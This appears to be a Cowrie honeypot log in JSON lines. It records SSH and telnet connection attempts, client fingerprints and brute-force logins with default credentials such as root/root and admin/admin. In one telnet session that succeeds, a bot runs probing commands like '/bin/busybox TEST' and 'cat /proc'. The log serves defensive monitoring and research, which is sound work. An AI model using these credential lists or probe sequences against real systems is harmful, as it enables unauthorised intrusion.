{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:40:25.091116Z","src_ip":"41.181.156.205","session":"1df369951033","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ABCD@1234","message":"login attempt [root/ABCD@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:40:26.106737Z","src_ip":"41.181.156.205","session":"1df369951033","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:40:27.355393Z","src_ip":"41.181.156.205","session":"1df369951033","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.226.190.225","src_port":52188,"dst_ip":"10.17.0.5","dst_port":22,"session":"dffb2517455a","protocol":"ssh","message":"New connection: 87.226.190.225:52188 (10.17.0.5:22) [session: dffb2517455a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:40:57.686779Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:40:57.691669Z","src_ip":"87.226.190.225","session":"dffb2517455a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:40:57.853505Z","src_ip":"87.226.190.225","session":"dffb2517455a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ABCabc123@","message":"login attempt [root/ABCabc123@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:40:58.533807Z","src_ip":"87.226.190.225","session":"dffb2517455a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:40:59.698360Z","src_ip":"87.226.190.225","session":"dffb2517455a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.144.214.214","src_port":46503,"dst_ip":"10.17.0.5","dst_port":22,"session":"cee3a9ca9f9f","protocol":"ssh","message":"New connection: 89.144.214.214:46503 (10.17.0.5:22) [session: cee3a9ca9f9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:41:00.381545Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:41:00.389632Z","src_ip":"89.144.214.214","session":"cee3a9ca9f9f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:41:00.542078Z","src_ip":"89.144.214.214","session":"cee3a9ca9f9f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"app","password":"app123","message":"login attempt [app/app123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:41:01.151537Z","src_ip":"89.144.214.214","session":"cee3a9ca9f9f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:41:02.293565Z","src_ip":"89.144.214.214","session":"cee3a9ca9f9f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.147.144.172","src_port":35080,"dst_ip":"159.203.135.109","dst_port":22,"session":"47b3edb2440c","protocol":"ssh","message":"New connection: 176.147.144.172:35080 (159.203.135.109:22) [session: 47b3edb2440c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:41:04.228368Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:41:04.233953Z","src_ip":"176.147.144.172","session":"47b3edb2440c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:41:04.330740Z","src_ip":"176.147.144.172","session":"47b3edb2440c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"systemd","password":"Voidsetdownload.so","message":"login attempt [systemd/Voidsetdownload.so] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:41:04.749798Z","src_ip":"176.147.144.172","session":"47b3edb2440c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:41:05.850205Z","src_ip":"176.147.144.172","session":"47b3edb2440c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"36.91.81.195","src_port":58848,"dst_ip":"159.203.135.109","dst_port":22,"session":"bdfed32a463c","protocol":"ssh","message":"New connection: 36.91.81.195:58848 (159.203.135.109:22) [session: bdfed32a463c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:41:06.729949Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:41:06.734939Z","src_ip":"36.91.81.195","session":"bdfed32a463c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:41:07.018859Z","src_ip":"36.91.81.195","session":"bdfed32a463c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rana","password":"rana","message":"login attempt [rana/rana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:41:08.174328Z","src_ip":"36.91.81.195","session":"bdfed32a463c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:41:09.459018Z","src_ip":"36.91.81.195","session":"bdfed32a463c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.220","src_port":55356,"dst_ip":"10.17.0.5","dst_port":23,"session":"29287606df7b","protocol":"telnet","message":"New connection: 176.65.139.220:55356 (10.17.0.5:23) [session: 29287606df7b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:41:09.762358Z"}
{"eventid":"cowrie.session.closed","duration":0.005004167556762695,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:41:09.767246Z","src_ip":"176.65.139.220","session":"29287606df7b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.220","src_port":55360,"dst_ip":"10.17.0.5","dst_port":23,"session":"de3a092e8bc5","protocol":"telnet","message":"New connection: 176.65.139.220:55360 (10.17.0.5:23) [session: de3a092e8bc5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:41:09.840931Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"","message":"login attempt [root/] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:41:10.719868Z","src_ip":"176.65.139.220","session":"de3a092e8bc5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":2.0941412448883057,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:41:11.934948Z","src_ip":"176.65.139.220","session":"de3a092e8bc5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.220","src_port":55370,"dst_ip":"10.17.0.5","dst_port":23,"session":"5841330c85e3","protocol":"telnet","message":"New connection: 176.65.139.220:55370 (10.17.0.5:23) [session: 5841330c85e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:41:12.013111Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"root","message":"login attempt [root/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:41:12.602319Z","src_ip":"176.65.139.220","session":"5841330c85e3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":1.5914957523345947,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:41:13.604471Z","src_ip":"176.65.139.220","session":"5841330c85e3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.220","src_port":55384,"dst_ip":"10.17.0.5","dst_port":23,"session":"1e97407b20c8","protocol":"telnet","message":"New connection: 176.65.139.220:55384 (10.17.0.5:23) [session: 1e97407b20c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:41:13.682997Z"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:41:14.246288Z","src_ip":"176.65.139.220","session":"1e97407b20c8","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:41:14.304057Z","src_ip":"176.65.139.220","session":"1e97407b20c8","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"echo SHELL_TEST","message":"CMD: echo SHELL_TEST","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:41:16.123779Z","src_ip":"176.65.139.220","session":"1e97407b20c8","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"/bin/busybox TEST","message":"CMD: /bin/busybox TEST","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:41:16.623973Z","src_ip":"176.65.139.220","session":"1e97407b20c8","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"cat /proc","message":"CMD: cat /proc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:41:17.374506Z","src_ip":"176.65.139.220","session":"1e97407b20c8","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"./","message":"CMD: ./","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:41:18.122308Z","src_ip":"176.65.139.220","session":"1e97407b20c8","protocol":"telnet"}
{"eventid":"cowrie.command.failed","input":"./ ","message":"Command not found: ./ ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:41:18.126666Z","src_ip":"176.65.139.220","session":"1e97407b20c8","protocol":"telnet"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/8a6ec7b5e46a3a9e5ee837394a2bb870a78f5f16ea86f1f33271447f9eed1860","size":565,"shasum":"8a6ec7b5e46a3a9e5ee837394a2bb870a78f5f16ea86f1f33271447f9eed1860","duplicate":true,"duration":"4.6","message":"Closing TTY Log: var/lib/cowrie/tty/8a6ec7b5e46a3a9e5ee837394a2bb870a78f5f16ea86f1f33271447f9eed1860 after 4.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:41:18.909464Z","src_ip":"176.65.139.220","session":"1e97407b20c8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.239983797073364,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:41:18.922904Z","src_ip":"176.65.139.220","session":"1e97407b20c8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.228.138","src_port":32806,"dst_ip":"159.203.135.109","dst_port":22,"session":"f0168720dcdd","protocol":"ssh","message":"New connection: 137.184.228.138:32806 (159.203.135.109:22) [session: f0168720dcdd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:41:21.470241Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:41:21.475194Z","src_ip":"137.184.228.138","session":"f0168720dcdd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:41:21.546203Z","src_ip":"137.184.228.138","session":"f0168720dcdd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"xp","message":"login attempt [root/xp] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:41:21.859595Z","src_ip":"137.184.228.138","session":"f0168720dcdd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:41:22.934067Z","src_ip":"137.184.228.138","session":"f0168720dcdd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.156.170.155","src_port":45292,"dst_ip":"10.17.0.5","dst_port":22,"session":"437791d14ca2","protocol":"ssh","message":"New connection: 43.156.170.155:45292 (10.17.0.5:22) [session: 437791d14ca2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:41:39.038876Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:41:39.043662Z","src_ip":"43.156.170.155","session":"437791d14ca2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:41:39.288909Z","src_ip":"43.156.170.155","session":"437791d14ca2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vpsuser","password":"123","message":"login attempt [vpsuser/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:41:40.302914Z","src_ip":"43.156.170.155","session":"437791d14ca2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:41:41.551013Z","src_ip":"43.156.170.155","session":"437791d14ca2","protocol":"ssh"}
